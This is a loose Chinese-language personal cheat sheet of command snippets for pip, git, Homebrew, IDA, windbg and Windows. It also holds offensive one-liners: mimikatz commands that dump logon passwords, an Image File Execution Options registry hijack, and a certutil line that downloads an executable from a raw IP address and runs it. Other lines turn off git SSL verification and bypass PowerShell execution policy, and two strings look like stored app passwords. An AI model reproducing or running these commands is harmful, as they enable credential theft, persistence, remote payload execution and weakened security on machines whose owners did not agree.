pip install XXX -i https://pypi.tuna.tsinghua.edu.cn/simple
下载源换成清华源,XXX 表示模块的名称。
idp脚本从7.4之后部分func的名字发生了改变,因此在调用的时候可能会发生报错:
Porting from IDAPython 6.x-7.3, to 7.4
brew tap lencx/chatgpt https://github.com/lencx/ChatGPT.git
brew install --cask chatgpt --no-quarantine
一句话:
bpftrace -e 'uprobe:/path/to/libc.so:readline { printf("readline called\n"); }'
ubuntu启用root账户:
sudo passwd root
windows 命令行计算 hash:
certutil -hashfile 文件路径 md5
certutil -hashfile 文件路径 sha1
certutil -hashfile 文件路径 sha256
Kali 中 msf 更新:
apt-get update
apt-get install metasploit-framework
E:\symbols_windbg;srv*E:\symbols_windbg*https://msdl.microsoft.com/download/symbols
powershell 执行 ps1 脚本报错不能执行:
set-ExecutionPolicy RemoteSigned
set-executionpolicy Bypass
git 首次push配置用户名密码
git config --global user.name "xxx"
git config --global user.email "xxx"
新拉仓库,切换分支
git checkout -b dev origin/dev
关闭SSL认证:
git config --global http.sslVerify false
notepad++去除重复行:
^(.*?)$\s+?^(?=.*^\1$)
mimikatz获取开机密码:
privilege::debug
sekurlsa::logonpasswords
alemohfuqzvmbdgh
ujblxzhhmycqecgh
映像劫持cmd:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /t REG_SZ /d C:\Windows\System32\calc.exe
远程下载执行,白利用
certutil.exe -urlcache -split -f http://49.234.210.96:8080/car/c.exe C:/c.exe&C:\c.exe
查看ida插件目录:
import idaapi, os; print(os.path.join(idaapi.get_user_idadir(), "plugins"))
http://download.skycn.com/hao123-soft-online-bcs/soft/Q/2016-02-22_Qmusic2113.exe